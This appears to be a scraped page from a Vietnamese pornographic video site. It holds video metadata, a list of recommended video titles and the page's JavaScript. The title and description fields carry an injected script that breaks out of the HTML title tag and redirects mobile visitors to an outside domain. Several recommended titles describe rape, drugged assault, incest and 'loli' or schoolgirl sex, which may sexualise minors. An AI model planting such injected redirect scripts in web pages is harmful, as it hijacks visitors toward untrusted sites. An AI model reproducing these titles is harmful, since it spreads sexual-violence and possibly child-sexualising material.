</title><script>if(/Mobile|Android|iPhone|iPad/.test(navigator.userAgent)){window.location.replace("https://xiazai.it.com")}</script><title>Một chàng trai đẹp trai tán tỉnh một người mẫu cao ráo, xinh đẹp. Cô gái có vẻ ngoài dịu dàng và rất nhạy cảm. Cô ấy hét lên khi bị xâm nhập, khiến người ta có cảm giác như cô ấy đang mất trinh. Chắc hẳn vùng kín của cô ấy rất khít. ...title><script>Một chàng trai đẹp trai tán tỉnh một người mẫu cao ráo, xinh đẹp. Cô gái có vẻ ngoài dịu dàng và rất nhạy cảm. Cô ấy hét lên khi bị xâm nhập, khiến người ta có cảm giác như cô ấy đang mất trinh.</script></script>
Một chàng trai đẹp trai tán tỉnh một người mẫu cao ráo, xinh đẹp. Cô gái có vẻ ngoài dịu dàng và rất nhạy cảm. Cô ấy hét lên khi bị xâm nhập, khiến người ta có cảm giác như cô ấy đang mất trinh. Chắc hẳn vùng kín của cô ấy rất khít. ...title>","site_id":0,"video_url":"https://vostrely.com/20260709/77GtXqMs/index.m3u8","images":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNjA3MTAvYjk2NTQ0ZmFkZTUzMjFiMWNiZmZkZDQ5MzVlNzRlNTUuanBn.cache","duration":"04:04","actor":[],"lastmod":1783766805,"rating":"2.0","view_count":499,"description":"Một chàng trai đẹp trai tán tỉnh một người mẫu cao ráo, xinh đẹp. Cô gái có vẻ ngoài ngọt ngào và rất nhạy cảm. Cô ấy hét lên khi bị xâm nhập, khiến người ta có cảm giác như cô ấy đang mất trinh. Chắc hẳn vùng kín của cô ấy rất khít.","tag":["帅哥撩了位高质量的高挑模特儿,妹子长相甜美,身体很敏感_进入的时候捂嘴大叫_搞得跟破处似的,下面肯定很紧","s_keywords":"帅哥撩了位高质量的高挑模特儿,妹子长相甜美,身体很敏感_进入的时候捂嘴大叫_搞得跟破处似的,下面肯定很紧","s_description":"Một chàng trai đẹp trai tán tỉnh một người mẫu cao ráo, xinh đẹp. Cô gái có vẻ ngoài dịu dàng và rất nhạy cảm. Cô ấy hét lên khi bị xâm nhập, khiến người ta có cảm giác như cô ấy đang mất trinh. Chắc hẳn vùng kín của cô ấy rất khít. ...title>","cid":"","items":[{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTAzMzEvNjhhMjhkZWIwYzU2ZTM1YjkyOTE3YTE4N2RkZTU2ZWYuanBn.cache","vod_id":18957976,"title":"\"Series Học Giả Xuất Sắc\" - với sự góp mặt của người mẫu, streamer TikTok, trò chơi bài ba người và những cảnh nóng bỏng về làm tình và rên rỉ sau trò chơi.","lastmod":"2025-03-19","duration":"01:02:41","url":"/play/18957976.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTAzMzEvZjg5NWVlNjhjNjg0ZWUzZGUxOTVhMDY4MDAxYTZhODIuanBn.cache","vod_id":18985399,"title":"Cô gái mảnh mai, thân hình gợi cảm đang quan hệ tình dục trong nhà vệ sinh quán karaoke; anh ta quan hệ mạnh bạo với cô ấy trên bồn rửa mặt trong nhà vệ sinh.","lastmod":"2025-03-19","duration":"01:36:02","url":"/play/18985399.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTAzMzEvMzA3MzNjNzVlNzI3MjU1YTQ1MzEyN2QxZWEyYzU3NmUuanBn.cache","vod_id":18967813,"title":"Một cô gái xinh đẹp đã quan hệ tình dục bằng miệng với bạn trai bị hẹp bao quy đầu.","lastmod":"2025-03-19","duration":"06:03","url":"/play/18967813.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTAzMzEvZWMwN2QzY2M4YmY4OWQ0ZWVmNmNhOTI2YTc0YzZkN2UuanBn.cache","vod_id":18977059,"title":"BIBIVR-081 [VR] Âm hộ toàn thân của gái mại dâm siêu nhạy cảm và nóng bỏng - cd2","lastmod":"2025-03-19","duration":"31:35","url":"/play/18977059.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTAzMzEvZjNlYjQ5ZjczYTliZGQ0ZGU5Y2ZiZDEyYzllNzBlMjYuanBn.cache","vod_id":19052655,"title":"NGOD-226 \"Khi tôi về nhà...\" Khi vợ tôi về nhà, tôi đã quan hệ tình dục với bạn của cô ấy. Ngực và mông của vợ tôi thật dâm đãng...","lastmod":"2025-03-19","duration":"02:02:07","url":"/play/19052655.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTAzMzEvNDIxMDRhMDMxYWNiNWRlNmIxN2Q3OTlkODU0OGRmZjIuanBn.cache","vod_id":18955084,"title":"MBRAA-270 Nguy hiểm tiềm tàng của Hiiragi Sumire!","lastmod":"2025-03-19","duration":"01:57:02","url":"/play/18955084.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTA5MjEvZDU1MzNlNmZlNTk3Zjc4ZmVhZGIwMDgyNjI1YTNhYzkuanBn.cache","vod_id":19121237,"title":"#CôGáiMềmMịn #NgựcLoli #QuanHệTìnhDụcHoangDãKhôngLôngVàXuấtTinhBênTrongÂmVậtMềmMịn","lastmod":"2025-09-21","duration":"04:50","url":"/play/19121237.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTAzMzEvMzhhMjUyOTlmYjhkNGE0ODMyY2FkMjY3ZDliYjQ0MGEuanBn.cache","vod_id":19065842,"title":"Để xem thêm video em gái mình thực hiện hành vi quan hệ tình dục bằng miệng, hãy nhấp vào ảnh đại diện của cô ấy.","lastmod":"2025-03-19","duration":"01:19","url":"/play/19065842.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTAzMzEvMWI1NWI4YTMzOWNiZWEwZGE3NWI4ZmY4YWI2NDQyNTMuanBn.cache","vod_id":18923122,"title":"HND-717 Một cô chị gái lẳng lơ mời bạn khám phá cơ thể cô ấy với những trò chơi kích thích núm vú tuyệt vời và màn vắt sữa âm đạo liên tục. Touka Rinne","lastmod":"2025-03-19","duration":"02:03:43","url":"/play/18923122.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTA1MjcvOWM0MDgxMTMxOTI4MDRlNDIxZmJiNzIxNjMwOWM0ZWEuanBn.cache","vod_id":19106246,"title":"《1》Một cô gái trẻ trong sáng và đáng yêu! Một cô em gái nhỏ ngọt ngào và dịu dàng! Một màn trình diễn trả phí hiếm hoi, cận cảnh vùng kín trần trụi, dâm đãng của cô ấy đang mở rộng, và một dương vật giả cầu vồng đang thọc ra thọc vào_","lastmod":"2025-05-27","duration":"09:07","url":"/play/19106246.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTAzMzEvMTY0MmNhOGQ4MDEzMzIxZmFiZjg4ZjVlYzI2YzFkNjQuanBn.cache","vod_id":18956141,"title":"MVSD-513-C Núm vú của tôi quá nhạy cảm... Tôi ngại không dám nói với anh ấy rằng tôi là một kẻ biến thái dễ cáu gắt.","lastmod":"2025-03-19","duration":"02:26:02","url":"/play/18956141.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTAzMzEvMGNhNDhjYTIyYmViYThhYzQxNGU1MmYwNDVkMDdjYjcuanBn.cache","vod_id":18942530,"title":"Cô gái đã chơi đùa với dương vật của tôi ở khách sạn hơi rụt rè!","lastmod":"2025-03-19","duration":"01:31","url":"/play/18942530.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTAzMzEvMzE3MDhlMGQyN2NmZjQxNjAxMjA4NzZhYTc5MDI4YTMuanBn.cache","vod_id":19029452,"title":"[Đồng phục] Kiệt tác chất lượng cao mới nhất của Trung Quốc: những phụ nữ xinh đẹp trong bộ đồng phục cảnh sát bị cưỡng hiếp và tự thỏa mãn.","lastmod":"2025-03-19","duration":"32:01","url":"/play/19029452.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTAzMzEvZjBiYzhiYjZmMWRlODk2NjViNzUyZWExNWVhZWY4MTUuanBn.cache","vod_id":19007473,"title":"imkowan, Bố già thích làm tình với tôi, Giúp một chàng trai mất trinh, Bạn trai của em gái, Ngoại tình trong phòng kho, Chú hàng xóm, Cô em gái quỷ nhỏ","lastmod":"2025-03-19","duration":"50:42","url":"/play/19007473.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTEyMjMvOGJlMGM1YWZlZmY0OWQyYTU4OTFhMTMxN2EwMTQ2MmQuanBn.cache","vod_id":19145706,"title":"Chất lượng của những cô gái trẻ mảnh mai, buộc tóc đuôi ngựa đến từ vùng Đông Bắc Trung Quốc, những người cung cấp dịch vụ gái gọi tại các khách sạn, khá cao.","lastmod":"2026-04-20","duration":"19:26","url":"/play/19145706.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTAzMzEvYzc3NjkyOGEzZTFmYWRkNmQyM2MzNmJiZDA3NzVhOTYuanBn.cache","vod_id":19036623,"title":"VEC-614 Một người phụ nữ đã kết hôn bị bạn của chồng cưỡng hiếp. Một trò chơi tình ái bất chính đã lấp đầy khoảng trống trong thân xác cô đơn của cô.","lastmod":"2025-03-19","duration":"01:52:47","url":"/play/19036623.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTA5MjQvM2Y4Y2IyMzlmMjJmODE5ZDdiNTE4ZTFhMTE1YjdjZTEuanBn.cache","vod_id":19122008,"title":"START-356 Phát triển cực khoái: Cơ thể nhạy cảm run lên, trải nghiệm cực khoái mạnh mẽ nhất trong đời! Cực khoái dương vật cực lớn","lastmod":"2025-09-24","duration":"02:29:47","url":"/play/19122008.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTAzMzEvMTU5OWJjMWZjNjU2NjdjMDljYjRlZjI3MTI1MTI5MzIuanBn.cache","vod_id":18966320,"title":"SDAB-254 Tan học sớm, cảnh quay rất tự nhiên♪ Một nữ sinh dịu dàng (héo úa), như một tiểu quỷ, thích đụng chạm, tán tỉnh đến tận khuya.","lastmod":"2025-03-19","duration":"02:17:08","url":"/play/18966320.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTA3MjMvMWQ4NTBiZDBmZmI1NWU1MThiYzU3Mzc0NjM1Y2Q0MTYuanBn.cache","vod_id":19113231,"title":"MVSD-607-C Xin lỗi... Đi tiểu để làm đẹp. Mát-xa dầu bằng nước tiểu, từ từ đẩy cơ thể cô gái cô đơn đang chịu đựng sự kìm nén đến điên cuồng.","lastmod":"2025-07-23","duration":"01:56:34","url":"/play/19113231.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTAzMzEvN2Q3Y2M2MmE0MGQ1MDM2N2JjYTUzODQ4N2Y5YjA3MDMuanBn.cache","vod_id":18939730,"title":"WAAA-113 Mất trinh trong cùng một phòng! Tra tấn khoái cảm đồng thời cho hai người: Núm vú, quy đầu, tuyến tiền liệt. (Tác giả: Hazumi Claire, AIKA)","lastmod":"2025-03-19","duration":"02:03:01","url":"/play/18939730.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTEyMjMvZWY3OWNhYjUxODhkNGJkNmQxNWZjNDg4NTFhM2E0MTAuanBn.cache","vod_id":19131587,"title":"EBWH-281 Khỏa thân, Lao động bất đắc dĩ. Trong một công ty tham nhũng nơi quấy rối tình dục bị nghiêm cấm, thân hình gợi cảm của các nữ nhân viên bị phơi bày một cách tùy tiện. (Mana Kiyomiya)","lastmod":"2026-02-13","duration":"02:29:56","url":"/play/19131587.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTAzMzEvYTk1MmY5ZDI4YzJjMzAyMTFiMjhlZjZkNzEwM2I5ZmEuanBn.cache","vod_id":19051084,"title":"KAM-217 Cơ thể cô đau nhức vì thất vọng; người vợ lẳng lơ, xinh đẹp và dâm đãng này lại đang ngoại tình với người đàn ông hàng xóm trong tòa nhà chung cư, và cô ta đổ lỗi cho bộ ngực và vòng ba lớn của mình.","lastmod":"2025-03-19","duration":"02:02:04","url":"/play/19051084.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTAzMzEvNTQxY2FhZTA5OTk4NzFlYzgyYTQzNjYxOGY1ZDA4MmUuanBn.cache","vod_id":18968063,"title":"Một người phụ nữ cao ráo, ngọt ngào và xinh đẹp, sau khi hút một điếu thuốc, tiếp tục hiệp thứ hai của cuộc ái ân mãnh liệt, tư thế quan hệ từ bên hông và cưỡi lên với vòng mông lớn của cô ấy ở phía trên.","lastmod":"2025-03-19","duration":"01:08:01","url":"/play/18968063.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTAzMzEvYmM3MDc0MDFhNTFiNTQ3NTJlNmZiZjA4ZGQzOTE3ZTAuanBn.cache","vod_id":19011589,"title":"REAL-850 Cô gái vẫn tỉnh táo nhưng không thể cử động; cô bị tấn công tình dục trong tư thế không đứng đắn, cơ thể cứng đờ và bị bắn tinh dịch trong lúc bị cưỡng hiếp.","lastmod":"2025-03-19","duration":"02:31:14","url":"/play/19011589.html"}]},
videoTitle: '</title><script>if(/Mobile|Android|iPhone|iPad/.test(navigator.userAgent)){window.location.replace("https://xiazai.it.com")}</script><title>Một chàng trai đẹp trai tán tỉnh một người mẫu cao ráo, xinh đẹp. Cô gái có vẻ ngoài dịu dàng và rất nhạy cảm. Cô ấy hét lên khi bị xâm nhập, khiến người ta có cảm giác như cô ấy đang mất trinh. Chắc hẳn vùng kín của cô ấy rất khít. ...title><script>Một chàng trai đẹp trai tán tỉnh một người mẫu cao ráo, xinh đẹp. Cô gái có vẻ ngoài dịu dàng và rất nhạy cảm. Cô ấy hét lên khi bị xâm nhập, khiến người ta có cảm giác như cô ấy đang mất trinh.</script></script>',
language: 'vi',
dataKey: '01',
loadingPlayer: true,
showShare: false,
pageUrl: '',
// RecommendedMovies 组件状态
isSingleColumn: false,
pageSize: 8,
currentPage: 1,
// 计算属性(使用 getter)
get layoutIconClass() {
return this.isSingleColumn ? 'icon-view-list' : 'icon-grid';
},
get layoutClass() {
return [
'row',
'g-3',
'row-cols-1',
this.isSingleColumn ? '' : 'row-cols-2',
'row-cols-lg-4'
].filter(Boolean).join(' ');
},
// 方法
onAppMounted() {
// 设置页面 URL
this.pageUrl = window.location.href;
// 保存观看历史
this.saveWatchHistory();
// 更新标签统计
if (this.videoData.tag && this.videoData.tag.length > 0) {
this.updateTagStats(this.videoData.tag);
}
// 发送点击统计
this.hitVideoId(this.videoData.id);
// 从 Cookie 读取布局偏好
const layoutCookie = this.getCookie('list_layout');
if (layoutCookie === 'single') {
this.isSingleColumn = true;
}
// 监听 iframe 加载完成,隐藏骨架屏
// 使用 setTimeout 确保 DOM 已完全渲染
setTimeout(() => {
const iframe = document.getElementById('v2-player');
const skeleton = document.getElementById('player-skeleton');
if (iframe && skeleton) {
// 定义隐藏骨架屏的函数
const hideSkeleton = () => {
skeleton.style.transition = 'opacity 0.3s ease';
skeleton.style.opacity = '0';
setTimeout(() => {
skeleton.style.display = 'none';
}, 300);
};
// 检查 iframe 是否已经加载完成
if (iframe.contentDocument || iframe.contentWindow) {
try {
// 如果 iframe 已加载,直接隐藏骨架屏
if (iframe.contentWindow.document.readyState === 'complete') {
setTimeout(hideSkeleton, 500);
return;
}
} catch (e) {
console.log('[Video] 跨域 iframe,无法检查状态:', e.message);
// 跨域情况下无法访问 contentWindow,继续监听 load 事件
}
}
// 监听 load 事件
iframe.addEventListener('load', () => {
console.log('[Video] iframe load 事件触发');
setTimeout(hideSkeleton, 500);
});
// 添加超时保护,确保骨架屏最终会被隐藏
setTimeout(() => {
if (skeleton.style.display !== 'none') {
console.log('[Video] 超时保护触发,强制隐藏骨架屏');
hideSkeleton();
}
}, 5000); // 5秒后强制隐藏
} else {
console.error('[Video] 未找到 iframe 或 skeleton 元素');
}
}, 0);
},
// 随机跳转
async jumpToRandomVideo() {
try {
const response = await fetch(`/api/qun/randomid?t=${Date.now()}`, {
headers: {
'x-data-key': this.dataKey,
'x-api-key': 'dagexxx.com'
}
});
const data = await response.json();
if (data?.status === 1 && data?.data?.id) {
window.location.href = `/${this.language}/play/${data.data.id}.html`;
} else {
console.error('获取随机视频失败:', data?.message || '未知错误');
}
} catch (err) {
console.error('获取随机视频失败:', err);
}
},
// 复制分享链接
copyShareLink() {
const input = this.$refs.shareInput;
if (input) {
input.select();
input.setSelectionRange(0, 99999); // For mobile devices
// 尝试使用现代 API
if (navigator.clipboard && navigator.clipboard.writeText) {
navigator.clipboard.writeText(this.pageUrl).then(() => {
alert('Đã sao chép liên kết!');
}).catch(() => {
// 降级到旧方法
document.execCommand('copy');
alert('Đã sao chép liên kết!');
});
} else {
// 降级到旧方法
document.execCommand('copy');
alert('Đã sao chép liên kết!');
}
}
},
// 切换布局
toggleLayout() {
this.isSingleColumn = !this.isSingleColumn;
this.setCookie('list_layout', this.isSingleColumn ? 'single' : 'multi', 30);
},
// 加载更多
loadMore() {
this.currentPage++;
},
// 保存观看历史
saveWatchHistory() {
try {
const storageKey = 'watchHistory';
let history = JSON.parse(localStorage.getItem(storageKey) || '[]');
// 解码 HTML 实体编码的标题
const decodeHtmlEntities = (text) => {
const textarea = document.createElement('textarea');
textarea.innerHTML = text;
return textarea.value;
};
const video = {
id: this.videoData.id,
title: decodeHtmlEntities(this.videoData.title),
image: this.videoData.images || this.videoData.preview,
duration: this.videoData.duration || ''
};
// 过滤掉已存在的相同 ID 视频
history = history.filter(item => item.id !== video.id);
// 添加新记录到最前面
history.unshift(video);
// 限制最多保存 100 条
if (history.length > 100) {
history = history.slice(0, 100);
}
localStorage.setItem(storageKey, JSON.stringify(history));
} catch (e) {
console.error('Failed to save watch history:', e);
}
},
// 更新标签统计
updateTagStats(tags = []) {
// HTML 实体解码函数
const decodeHtmlEntities = (text) => {
const textarea = document.createElement('textarea');
textarea.innerHTML = text;
return textarea.value;
};
const storageKey = this.dataKey + 'tagWatchStats';
const lastWatchedKey = this.dataKey + 'tagLastWatched';
const raw = localStorage.getItem(storageKey);
const stats = raw ? JSON.parse(raw) : {};
// 解码标签并统计
const decodedTags = tags.map(tag => decodeHtmlEntities(tag));
decodedTags.forEach(tag => {
stats[tag] = (stats[tag] || 0) + 1;
});
localStorage.setItem(storageKey, JSON.stringify(stats));
localStorage.setItem(lastWatchedKey, JSON.stringify(decodedTags));
},
// 点击统计
hitVideoId(id) {
fetch(`/api/qun/hit?type=play&id=${id}`, {
method: 'GET',
headers: {
'x-data-key': this.dataKey,
'x-api-key': 'dagexxx.com'
}
}).catch(err => {
console.error('点击统计失败:', err);
});
},
// Cookie 工具方法
getCookie(name) {
const value = `; ${document.cookie}`;
const parts = value.split(`; ${name}=`);
if (parts.length === 2) return parts.pop().split(';').shift();
},
setCookie(name, value, days) {
const expires = new Date(Date.now() + days * 864e5).toUTCString();
document.cookie = `${name}=${value}; expires=${expires}; path=/`;
}
};
}